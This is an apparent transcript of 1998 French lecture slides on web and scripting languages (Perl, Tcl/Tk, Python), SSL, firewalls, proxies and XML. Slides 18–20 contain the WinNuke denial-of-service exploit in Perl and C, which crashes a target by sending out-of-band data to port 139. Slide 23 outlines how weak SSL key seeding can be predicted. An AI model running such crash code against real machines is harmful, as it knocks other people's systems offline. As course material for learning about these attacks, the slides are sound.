1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998

Slides:



Advertisements
Présentations similaires
Novembre 2005 – Michel Desconnets PHP : théorie Objectif : introduire les concepts globaux permettant d'aborder la programmation en PHP.
Advertisements

Internet et le client- serveur Licence Pro IE Cours Internet / Intranet Le Web HTML Protocoles Le client universel Contenus dynamiques.
Programmation Tcl/Tk Raymond Ripp février 2012 Survol général
A propos de java Sun, fin 1995 C++ nettoyé semi-interprété
Raymond Ripp 5 mars 2013 la deuxième partie sera pour le 12 mars
Programmation Tcl/Tk Raymond Ripp janvier 2009
Programmation Tcl/Tk Raymond Ripp février 2011 Survol général o Applications et Protocoles o Windows Linux o Disques Processeurs o Passage en mode console.
Programmation Tcl Raymond Ripp 7 février 2012 deuxième partie du 14 février dans ce même ppt Survol général o Applications et Protocoles o Windows Linux.
Une solution personnalisable et extensible
Cours MIAGE « Architectures Orientées Services » Henry Boccon-Gibod 1 Architectures Orientées Services Composants de Service Exemple pratique de développement.
T ravail E tude R echerche COUREUX Éric DUCK Christian ZENGERLÉ Olivier COUREUX Éric DUCK Christian ZENGERLÉ Olivier EncadrantsEncadrants M. Crescenzo.
12/10/2000Cédric Bertho - Comparaison entre Perl et Python1 vs Comparaison.
MySQL I / Présentation. II / Administration et Outils.
Exposé de Système - Informatique et Réseau
Cours n°2M2. IST-IE (S. Sidhom) UE 303 Promo. M2 IST-IE 2005/06 Conception dun système d'information multimédia Architecture trois-tiers : PHP/MySQL &
Bioinformatique et Perl
Objectifs Présentation et utilisation du langage PERL
LICENCE MIAGE Introduction Programmation Orientée Objet JAVA philippe
HTML Les types de balises
Programmation Internet et Intranet

Cours d'administration Web - juin Copyright© Pascal AUBRY - IFSIC - Université de Rennes 1 Mandataires, caches et filtres Pascal AUBRY IFSIC - Université
FLSI602 Génie Informatique et Réseaux
JOME, un Composant Logiciel pour le Télé-Enseignement des Mathématiques via le WEB, Compatible OpenMath et MathML Laurent DIRAT OVE / I3S-UNSA.
Révision Avant lintra – Architecture de lordinateur, les composants, le fonctionnement, codage – Système dexploitation: organisation des données (fichier),
Common Gateway Interface
Le Téléphone Russe Le Téléphone Russe. Le Téléphone Russe Le Téléphone Russe.
LOG 02 Bases de Données Avancées Rappels sur JSP / Servlet
Développement d’applications web
Le langage ASP Les variables d'environnement HTTP avec Request.
Lycée Louis Vincent Séance 1
Le filtrage IP Ahmed Serhrouchni ENST’Paris CNRS.
Le protocole FTP.
Projet poker 1/56. Introduction Présentation de léquipe Cadre du projet Enjeux Choix du sujet 2.
Gestion des bases de données
Introduction à la programmation (Java)
F Copyright © Oracle Corporation, Tous droits réservés. Créer des programmes avec Procedure Builder.
Internet : la mémoire courte ? Capture de sites Web en ligne Conférence B.N.F, Avril 2004 Xavier Roche(HTTrack)
1. 2 PLAN DE LA PRÉSENTATION - SECTION 1 : Code HTML - SECTION 2.1. : CSS (Méthode 1) - SECTION 2.2. : CSS (Méthode 2) - SECTION 3 : JavaScript - SECTION.
CSI2520, Hiver 2007 Python Un langage de programmation par scripting et plus…
Eric Laporte Institut Gaspard-Monge Université de Marne-la-Vallée France Introduction à Perl.
Clients riches RIA (Rich Internet Application) / RDA
Protocoles et service internet: http
COURS DE PROGRAMMATION ORIENTEE OBJET :
Document élaboré à Centrale Paris par Pascal Morenton LES TECHNOLOGIES DU WEB 1. LES PHASES D UN DEPLOIEMENT DE RESEAUX 2. LE LANGAGE HTML 3. LE LANGAGE.
Chapitre 3 Les bibliothèques de balises JSP et la JSTL
Initiation au web dynamique
JEE 5 F.Pfister 2 institut eerie JEE – Une plateforme serveur  Développement et exécution d'applications réparties.
‘‘Open Data base Connectivity‘‘
Javascript 1° PARTIE : LES BASES
Développement Web Open Source haXe et les outils « open source » Première partie.
Introduction au langage PHP Licence Pro Cours Internet / Intranet Utilité Historique Exemples Fonctions PHP Classes.
Couche application Perl, php, javascript ftp
PROGRAMMATION WEB FRONT-END.
1 Architecture orientée service SOA Architecture orientée service SOA (Service Oriented Architecture)
Outil de gestion des cartes grises
LES PILES ET FILES.
Cours n°4M2. ESCE (S. Sidhom) Séminaire ( 6-12 Février 2007 ) Promo. M2 ESCE-Tunis 2006/07 Conception d’un système d'information sur Internet Architecture.
1 F o r m a t i o n A R S World Wide Web (WWW). 2 F o r m a t i o n A R S Contributions m Création: Claude Gross (UREC) m Modifications: Bernard Tuy,
Projet Implémentation du protocole MMT sous Linux
Cours de programmation web
Créer des packages.
420-B63 Programmation Web Avancée Auteur : Frédéric Thériault 1.
13 juin Le mécanisme de templates de Sympa.
Les sockets.
S'initier au HTML et aux feuilles de style CSS Cours 5.
1 École des Mines de Saint-Etienne. 158, cours Fauriel Saint-Etienne Cedex 2. Tél Fax Jean-Jacques Girardot
 Formulaires HTML : traiter les entrées utilisateur
Initiation au JavaScript
CPI/BTS 2 Programmation Web Les sites dynamiques Prog Web CPI/BTS2 – M. Dravet – 02/10/2003 Dernière modification: 02/10/2003.
Transcription de la présentation:

1 Programmation Internet et Intranet S. Frénot INSA Lyon

2 Déroulement du cours Architecture Web de base Architecture Web dynamique Client / Serveur de données Java Architectures distribués Les compléments

3 Les approches de PII Modèle Initial –Approche documentaire : HTML/HTTP, Internet Avantage / Inconvénients Modèle Avancé – Approche objets distribués : Java/Corba, Intranet Avantage / Inconvénients

4 Les langages de script Langages de script –Interprété –Suivent la Loi de Moore –Objets distribués / Composants –Légers et modulaires –Portés sur de nombreux environnements Client : Script Documentaire –JavaScript, Python, Tcl/Tk –Visuel Serveur : Shell puissants –Perl, Tcl, Tk –Prototypage

5 Perl TMTOWTDI : "Tim-Toady" 1 : Simplifier les tâches faciles 2 : Ne pas empêcher les tâches difficiles ==> Larry Wall Linguiste Notion de langue et d'interprétation contextuelle et tardive Nom, Verbe, Singulier et Pluriel

6 Perl "Practical Extraction and Report Language" Interprété Modulaire –446 Modules : "use module" Simple / Complexe Efficace Orienté –traitement de chaînes –Accès fichiers –Accès réseau

7 Perl : Exemple #!/usr/local/bin/perl print "Content-Type:text/html\n\n "; open (NOTES, "notes") or die "Ouverture impossible : $!\n"; while ($ligne= ) { ($etudiant, $note) = split(/ /, $ligne); chomp($note); $notes{$etudiant}.= $note.' ';} foreach $etudiant (sort keys %notes) { $scores,$note, = split(/ /, $notes{$etudiant}); foreach { $total+=$note; $scores++;} $moyenne = $total/$scores; print " $etudiant : $notes{$etudiant}\tMoyenne: $moyenne\n ";} print " ";

8 Perl : Accès aux Bases de données –DBD, DBI ==> ODBC Accès aux Formulaires HTML –CGI.pm, HTML.pm Accès aux variables systèmes de la machine Porté sur Win32, Unix, MacIntosh Communauté Internet ftp://ftp.pasteur.fr/pub/Perl/

9 TCL/Tk Tool Command Langage ==> Shell de programmation ToolKit ==> Widgets de présentation Toute architecture de programmation importante utilise deux classes de langage = un langage compilé, efficace pour l'algorithmie (cobol, c, c++...) = un autre, interprété, utilisé comme glue pour "piloter" et personnaliser les différentes fonctionnalités de l'application ==> John Ousterhout (Sun)

10 TCL #!/usr/local/bin/tclsh8.0 set envvars { SERVER_SOFTWARE SERVER_NAME GATEWAY_INTERFACE SERVER_PROTOCOL SERVER_PORT REQUEST_METHOD PATH_INFO PATH_TRANSLATED SCRIPT_NAME QUERY_STRING REMOTE_HOST REMOTE_ADDR REMOTE_USER AUTH_TYPE CONTENT_TYPE CONTENT_LENGTH HTTP_ACCEPT HTTP_REFERER HTTP_USER_AGENT } puts "Content-type: text/html\n" puts " " puts" Message " puts " Environment Variables " foreach var $envvars { if {[info exists env($var)]} { puts " $var $env($var)"}}} if {[string compare $env (REQUEST_METHOD) "POST"]==0 }{ set message [split [read stdin $env(CONTENT_LENGTH)] &] } else { set message [split $env(QUERY_STRING) &] } foreach pair $message { set name [lindex [split $pair =] 0] set val [lindex [split $pair =] 1] puts "$name\t= $val" } puts " "

11 Tk u Créer l'interface utilisateur en écrivant les scripts Tcl. u Hello, world: button.hello -text "Hello, world" -command exit pack.hello u Explorateur Windows : 30 lignes u Browser Web : 2000 lignes u 10x moins de code pour des choses simples.

12 TCL / Tk 1 Librairie de procédures C pour développeurs L'interpréteur est pilotable en C Tcl_Interp * interp; interp = Tcl_CreateInterp(); int code; code=Tcl_Eval(interp, "set a 1"); code=Tcl_EvalFile(interp, "init.tcl"); Créer une nouvelle commande Tcl int EqCmd(ClientData clientData, Tcl_Interp *interp, int argc, char **argv) { if (argc != 3) { interp->result = "wrong # args"; return TCL_ERROR; } if (!strcmp(argv[1], argv[2])) interp->result = "1"; else interp->result = "0"; return TCL_OK;} L'enregistrer sur l'interpréteur Tcl_CreateCommand(interp, "eq", EqCmd, (ClientData) NULL,...);

13 TCL / Tk Largement utilisé Le plus puissant Choisi comme langage de script de Java Efficace Tcl Plug-in, TCLBlend/Jacl, SpecTcl, TclHttpd, WebTk, Exmh

14 Python Portable, interprété, orienté objet (ABC, C, Modula-3, Icon) Facile à apprendre Script CGI, Administration de systèmes, Prototypage Indépendant de la plateforme : Tk comme bibliothèque graphique, génère du byte-code Multiniveaux : Scripts shell, ou librairies oo Extensible: branchement sur les autres binaires (Microsoft FC, MacOS ToolBox) Imbriquable : Script => HTML, BD, Environnement ==> Just et Guido van Rossum (CNRI : Corporation for National Research Institute)

15 Python : exemple #!/usr/local/lib/python import posix import string uid=`posix.getuid()` passwd=open('/etc/passwd') for line in passwd.readline(): rec=string.splitfields(line, ':') if rec[2] == uid: print 'bonjour', rec[0] break else: print 'Non trouve' #!/usr/local/lib/python import time JOUR = 24*3600 class Date: def __init__(self, date): self.date=date def __repr__(self): s=time.ctime(self.date) return s[:11]+s[-4:] def demain(self): return self+1 def hier(self): return self -1 def __add__(self, nbjours): return Date (self.date+nbjours*JOUR) __radd___=__add__ def __sub__(self, autre) if hasattr(autre, 'date'): return int (self.date/JOUR) - int(other.date/JOUR) else: return self.__add__(-other) aujourdhui=Date(time.time( )) print aujourdhui.demain( )-ajourdhui.hier( )

16 Python modules –chaines, Expression Régulières, posix, sockets, threads, multimédia, cryptographie, STDWIN, Internet/WWW Utilisé pour l'interface utilisateur de Linux RedHat 5 Exemple utilisé pour les tags OBJECT d'HTML 4

17 Disponibilité des langages Vitesse de développement => Economie Utiliser les bons outils Marché en expansion Se faire plaisir

18 Exemple #!/opt/bin/perl use strict; use Socket; $h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]); if (!$h) {print "Un nom de machine doit être fournit. Ex: $in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr); $proto = getprotobyname('tcp'); print "Adresse visée$in_addr addr $addr proto $proto\n"; socket(S, AF_INET, SOCK_STREAM, $proto) || die $!; connect(S,$addr) or die $!; $| = 1; print STDOUT "Nuking: $h:$p\n"; send S,"Au revoir",MSG_OOB; print STDOUT "Nuked!\n"; close S; STDOUT perl -MIO::Socket -e 'IO::Socket::INET-> new(PeerAddr=>"some.windoze.box")-> send("bye",MSG_OOB)'

19 Equivalent C #include #define dport 139 int x, s; char *str = "Bye"; struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he- >h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(-4); } printf("Connected to [%s:%d].\n",server,port); return; }

20 Equivalent C Suite void main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s \n",argv[0]); exit(0); } if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } open_sock(s,argv[1],dport); printf("Sending crash... "); send(s,str,strlen(str),MSG_OOB); usleep(100000); printf("Done!\n"); close(s); }

21 Compléments

22 Cryptage SSL (HTTPS) Encodage sur une clé unique connue du client et du serveur Le client génère aléatoirement un nombre Puis le transfère de manière cryptée au serveur Celui-ci encode les messages à l'aide de ce nombre ==> mais...

23 Crack ! global variable racine; RNG_CreeContexte( ) (secondes, microsecondes) = maintenant:! pid=process ID; ppid= parent process ID; a=mklcpr(microsecondes); b=mklcpr(pid+seconds+(ppid<<12)); racine=MD5(a,b); mklcpr(x) return ((0xDEECE66D * x +0x2BBB62DC) >> 1); MD5() RNG_GenereNombreAleatoire( ) x=MD5(seed); seed=seed+1; return x; global variable debut, clé_secrete; Creer_cle ( ) RNG_CreeContexte( ); tmp= RNG_GenereNombreAleatoire(); debut= RNG_GenereNombreAleatoire(); clé_secrete=RNG_GenereNombreAleatoire();

24 FireWall FireWall : Pare-Feu Filtrage des paquets Table de filtrage des ports de connexion –Inbound HTTP –Outbound HTTP –Inbound telnet telnet.interne.com –Sinon interdit Tunneling Protocol Encodage d'une session Reseaux privés virtuels

25 Proxy Cache des documents transférés –Cache mémoire sur le client –Cache disque sur le client –Serveur Cache local –Serveurs Cache nationaux Fonctions –Disponibilité, –Maintenabilité –Pre-caching –Baisse de la charge Difficulté :?

26 Serveur Proxy proxy.univ-lyon1.fr 3128 function FindProxyForURL(url, host) { if (isPlainHostName(host)) return "DIRECT"; if ( dnsDomainIs( host,"univ-lyon1.fr")|| dnsDomainIs(host,"cpe.fr") || dnsDomainIs(host,"enssib.fr") || dnsDomainIs(host,"cermep.fr") || dnsDomainIs(host,"dr7.cnrs.fr") || dnsDomainIs(host," || dnsDomainIs(host,"insa-lyon.fr")) return "DIRECT"; if (url.substring(0, 5) == " ||url.substring(0, 7) == "gopher:") return "PROXY proxy.univ-lyon1.fr:3128; DIRECT"; if (url.substring(0, 5) == "wais:") return "PROXY web.univ-lyon2.fr:8001"; else return "DIRECT"; }

27 Push Anticiper la demande de l'utilisateur => Lui fournir l'information avant qu'il ne la cherche => Retourner le modèle du Web => L'utilisateur négocie une politique de push => Notion de canaux de diffusion

28 Push Approche diffusion Commerciale –Diffusion de canaux d'information BackWeb : Personnalisation et Segmentation, infopacks Pointcast (1996) : Pionnier, émetteur unique ! Approche diffusion Logiciel –Marimba : Société (JavaFund) –Castanet : Emetteur, Tuner, Proxy, GateWay => Technologies PUSH : Bonnet, Macary, Eyrolles Informatiques

29 Faiblesses de HTML Pas de gestion des hyperliens Pas de contrôle de la syntaxe Pas d'extensibilité possible Pas de structures Pas de distinction sur (forme/fond) Pas de support d'internationalisation Pas de support pour l'échange de données Pas de réutilisation Contenu dynamique Orientation Objet

30 Langage de documents DHTML Scripts + Feuilles de styles (JavaScript+CSS) Approche OO d'un document –Fondé sur le DOM (Document Object Model) du W3C –Programmation plus souple Incompatibilité Microsoft/Netscape => HTML++

31 Meta-Langage de document XML eXtensible Markup Langage Représenter n'importe quel document avec des tags logiques Langage de programmation DSSSL –Lisp (Scheme) Documents Bien Formés DTD du document ==> SGML -- ==> Jim Clark : SP Parser, Jade...

32 Architectures

33 Evolution du Web

34 Anneaux de diffussion Interconnexion de sites Web Mettre en commun des utilisateurs sur un sujet Définir des sous-réseau logiques d'information Site central qui diffuse les entêtes des documents Diffusion aux abonnés d'un cgi à insérer dans les documents ==> PilotGear